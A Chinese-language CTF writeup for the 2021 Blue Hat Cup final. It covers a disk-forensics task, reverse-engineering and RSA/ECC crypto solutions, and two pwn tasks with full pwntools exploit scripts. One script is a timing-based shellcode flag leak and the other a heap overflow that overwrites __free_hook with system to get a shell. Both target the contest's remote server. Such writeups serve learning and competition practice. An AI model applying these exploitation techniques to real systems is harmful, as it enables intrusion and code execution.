Back

2021蓝帽杯决赛 Writeup

Misc

溯源取证——张三的电脑

下载得到压缩包,经过判断类型后得知是 VMDK 文件,用 vmware 挂载。其中得到了 zhangsan.001zhangsan.ad1.txt 两个文件

winhex挂载 zhangsan.001,在分区1的 $RECYCLE.BIN 中找到 tips.txt.txt 文件,内容为

In order to prevent leaving evidence, Zhang San deleted all the key evidence photos.

因此寻找 png 文件,同样在分区1的 $RECYCLE.BIN 中找到了包含相应的 flag 图片 $REFK9A1.png

Pwn

secretcode

掏出初赛的代码稍微改改

from pwn import *
import sys
# context.log_level = "debug"
context.arch = 'amd64'

if len(sys.argv) < 2:
    debug = True
else:
    debug = False


ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def debugf(b=0):
    if debug:
        if b:
            gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
        else:
            gdb.attach(p)


def pwn(p, index, ch):

    # open
    shellcode = "push 0x1003caaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

    # re open, rax => 4
    shellcode += "and ecx,0x15;inc ecx;"
    shellcode += "s:push 2; pop rax; push rcx;syscall; pop rcx;loop s;"
    
    # read(rax, 0x10040, 0x50)
    shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"

    # cmp and jz
    if index == 0:
        shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
    else:
        shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)

    shellcode = asm(shellcode)
    pay = shellcode.ljust(0x40 - 4, b'a') + b'flag'
    log.warning(hex(len(pay)))


    p.sendafter("==\n", pay)


index = 0
ans = []

while True:

    for ch in range(0x20, 127):
        try:
            if debug:
                p = process("./chall")
            else:
                p = remote('47.104.169.149', 25178)

            pwn(p, index, ch)
            start = time.time()
            p.recv(timeout=2)
        except:
            pass
        end = time.time()
        p.close()
        if end - start > 1.5:
            ans.append(ch)
            print("".join([chr(i) for i in ans]))
            break
    else:
        print("".join([chr(i) for i in ans]))
        break
    index = index + 1
    print(ans)

print("".join([chr(i) for i in ans]))

p.interactive()

babynote

abs32的洞,直接上下无限堆溢出

from pwn import *
import sys
context.log_level = "debug"

if len(sys.argv) < 2:
    debug = True
else:
    debug = False

if debug:
    p = process("./chall")
    libc = ELF("/home/daidaishou/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc.so.6")
else:
    p = remote("47.104.169.149","14269")
    libc = ELF("./libc-2.27.so")

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def debugf(b=0):
    if debug:
        if b:
            gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
        else:
            gdb.attach(p)

def menu(i):
    sla('> ', str(i))

def add(sz, c):
    menu(1)
    sla('size> ', str(sz))
    sa('msg> ', c)

def free(i):
    menu(3)
    sla('idx> ', str(i))

def edit(i, offset, c):
    menu(2)
    sla('idx> ', str(i))
    sla('offset> ', str(offset))
    sa('msg> ', c)

def show(i):
    menu(4)
    sla('idx> ', str(i))

debugf()

add(0x29c, b'Chunk_0\n')
add(0x200, b'Chunk_1\n')
add(0x78, b'Chunk_2\n')
add(0x21f, b'Chunk_3\n')
add(0x18, b'/bin/sh\n')
edit(0, 0x80000000, b'\x07'*0x5e + b'\n')


free(1)
edit(3, 0x80000000, b'a'*0x52 + p64(0x80+0x210) + p64(0x230) + b'\n')
free(3)
add(0x200, 'Chunk_1\n')
show(2)
libc.address = u64(rv(6) + b'\x00'*2) - 0x3ebca0
log.warning(hex(libc.address))
free_hook = libc.sym['__free_hook']
edit(0, 0x80000000, b'\x01'*(12+0x80)+p64(free_hook)*0x60 + b'\n')

add(0xd8, p64(libc.sym['system']) + b'\n')

free(4)

p.interactive()

Re

abc

动调,发现输入主要是进入一个case语句

__int64 __fastcall sub_401406()
{
  char *v0; // rax
  int v1; // ecx

  v1 = *v0;
  switch ( v1 )
  {
    case '#':                                   // 右
      return sub_400A65();
    case '$':                                   // 上
      return sub_40085B();
    case '%':                                   // 左
      return sub_400B6D();
    case '@':                                   // 下
      return sub_40095D();
  }
  sub_4013EE();
  return sub_400C6F();
}

分别查看四个函数,发现主要是将内存中的-1与另一个数据进行交换

最后的验证逻辑为

  v10 = __ROR4__(__ROL4__(0x75DFBD5B, 15) ^ 0xDEADBEEF, 10);// 1
  for ( i = v10; i < 15; i = i - 84 + 85 )
  {
    sub_400CBA();
    if ( box[i] - box[i - 1] != 1 )
      v10 = __ROR4__(__ROL4__(0x7DDFBD5B, 15) ^ 0xDEADBEEF, 10);
  }

内存中总共有16个数字,猜测是一个十六格的拼图

1, A, 2, 3, 
5, D, 6, 4, 
9,-1, 7, B, 
E, F, C, 8

其中-1可以上下左右交换位置

手动解一下,远程验证

$$##@@%%$##@@%$$#@%%%@#$%@##$%%@##$%@#$#@

executable_pyc

工具还原字节码,根据字节码手动恢复出python脚本,得到加密逻辑

def e2(m):
    assert type(m) == bytes
    l = len(m) // 2
    m1 = s2n(m[:l])
    m2 = s2n(m[l:])
    p = gen_prime(1024)
    q = gen_prime(1024)
    pp = g.next_prime(p + 2333)
    qq = g.next_prime(q + 2333)
    e = g.next_prime(65535)
    ee = g.next_prime(e)
    n = p * q
    nn = pp * qq
    c1 = n2s(pow(m1, e, n))
    c2 = n2s(pow(m2, ee, nn))
    print (str(n), nn.digits(), (c1 + c2).hex())

后面就是解密码题了,需要找出p和q

因为素数的频率大概在​ $\ln(n)$ 的时间复杂度,所以​ $pp$ 和 $p$ ​以及 $qq$ ​和 $q$ ​的差距很小,大概在 $​p+2333+\ln(p)$ 附近。

所以让 $pp=p+x, qq=q+y$​。有 $n=pq, nn=pp*qq=(p+x)(q+x)=n+py+qx+xy$

让 $dn=nn-n=py+qx+xy=py+xn/p+xy$​,有 $yp^2+(xy-dn)p+xn=0​$

如果让 $​p$ 有解,则让 $\Delta=(xy-dn)^2-4xyn=x^2y^2-2\cdot dn\cdot xy+(dn)^2-4xyn>0$ ​且能够保证 $\Delta$​开出整数方根。函数如下

def qiugen(x, y, dn):
    cur = x ** 2 * y ** 2 + dn ** 2 - 2 * dn * x * y - 4 * x * y * n
    cur_root = root(cur, 2)
    if cur_root ** 2 == cur:
        up = dn - x * y + cur_root
        if up % (2 * y) == 0:
            ans = up // (2 * y)
            return ans
    return -1

然后开始遍历​x,y,考虑到素数频率,可以大致确定x,y范围为[2333, 2333+1024]​。将其范围扩展到[2333, 4333]​。这样遍历的范围在4000000次qiugen函数运算。

考虑到​nn确定,所以​x,y之间应该满足某种条件。​

$\Delta=x^2y^2-2dn\cdot xy+(dn)^2-4xyn=h^2-(2dn+4n)h+(dn)^2$,其中$h=xy$​。如果需要让​$\Delta>0$,需要$h<dn+2n-2*sqrt(dn\cdot n+n^2)$,约为6174696​。

所以可以令x遍历[2333,4333],令y遍历[2333,6174696/x]​,即可找到真正的​x,y。即可得到p,q,pp,qq​。

from Qmath import root
from libnum import *
from gmpy2 import next_prime

n = 10300808326934539089496666241808264289631957459372648156286399524715435483257526083909012656240599916663153630994400397551123967736269088895097145175999170121832669199408651009327424481969614347720526807144751032787049942449153321489493089722581323461987069958785112077070200328522919094221696573840593056153329019331663146921270200309620591339456771948171473174493228003768777355758929283942611167959313149646888081882056633536206394514157657102927145569575772516981907153659054180860331268989018643271316833183194539111739812416472551511615664022982639779869597584768094658974144703654232643726744397158318139843
nn = 10300808326934539089496666241808264289631957459372648156286399524715435483257526083909012656240599916663153630994400397551123967736269088895097145175999170121832669199408651009327424481969614347720526807144751032787049942449153321489493089722581323461987069958785112077070200328522919094221696573840593061197309859493502461339998035893727381543475878482841368750058482267744297318087515308976122481608145274938058888809506400916026737269420025654685431401793700398817215185170304169141953786566489760847593258253794575454082327627379713144072687287826518630644255675609067675836382036436064703619178779628644141463
cipher = 0x22cca5150ca0bb2132f68302dc7441e52b91ae7252e44cc13ed83e58253a9aaaa55e095ba36748dff7ea21fff553f8c4656e77a508b64da054f1381b7e2d0600bcec6ed9e1cc8d14c2362aaef7a972a714f88e5afb2d39ed77d0c22a449ca2cfb0802c138f20e0ecbd3c174151cdb8e8ca6d89aa3c503615ebfbc851af5ac51dcfa8b5869b775b57a27b9e4346979180d89b303cae2c5d9e6cabb3c9947837bd8f92333532d4b54dd72ea35400060006328f6f4329147df195ec78a7ab9d39973ce0fd6511e7a0de54737bee64476ba531604f0375b08adf7d768c41ba9e2ba88468d126561a134de79dc0217c1c56d219ca6747103618e46f35281feb9e6050c93e32e26e21ee2c3495f60db2fad9f9a5c570c9f97aee698024ebff6163ef26e32958872db7c593d7f41f90981b8db45aa01085be1e61f7603ecf3d5c032dd90dea791cd9825299548c0cbe7dadabc157048a7fd5cd4bcb1cfeaf0bd2d679f66cb0b1c33ec04bd20317f872c85d500a3475833f983fdee59b3f61a731e2a8b9a60bd7d840f46e97f06dd4fd8ad1cb4d13a82da01938801c33835ceaf34e1cf62ebdde7ac68b17c2a236b64ffacd2a0e7258571ce570871aea9f309df63c0a3abcfa0c05d159a82f9fa3f3ad73944e4ae33c3432c8b65c0d6fe9b560220b14abe5886188fc1e6afa4bb4395669618387224422acf20b519af902225e270

dn = nn - n

def qiugen(x, y, dn):
    cur = x ** 2 * y ** 2 + dn ** 2 - 2 * dn * x * y - 4 * x * y * n
    cur_root = root(cur, 2)
    if cur_root ** 2 == cur:
        up = dn - x * y + cur_root
        if up % (2 * y) == 0:
            ans = up // (2 * y)
            return ans
    return -1


for x in range(4333, 2333, -1):
    if (x - 2333) % 100 == 0:
        print x
    for y in range(6174700 // x, 2332, -1):
        cur_ans = qiugen(x, y, dn)
        if cur_ans != -1:
            print cur_ans
            if n % cur_ans == 0:
                p = cur_ans
                q = n // p
                print cur_ans
pp = next_prime(p + 2333)
qq = next_prime(q + 2333)

print (n2s(pow(c1, invmod(0x10001, (p - 1) * (q - 1)), p * q)))
print (n2s(pow(c2, invmod(0x10003, (pp - 1) * (qq - 1)), pp * qq)))

Crypto

crack point

已知椭圆曲线正常加密,key的位数过小,大步小步法爆破2的39次方到2的40次方寻找key=436370150383,算出

point2 = (54874480268135442592960451774606422130 : 54593336491331150503709607435043296744 : 1)

flag = cipher - point_2得到最终点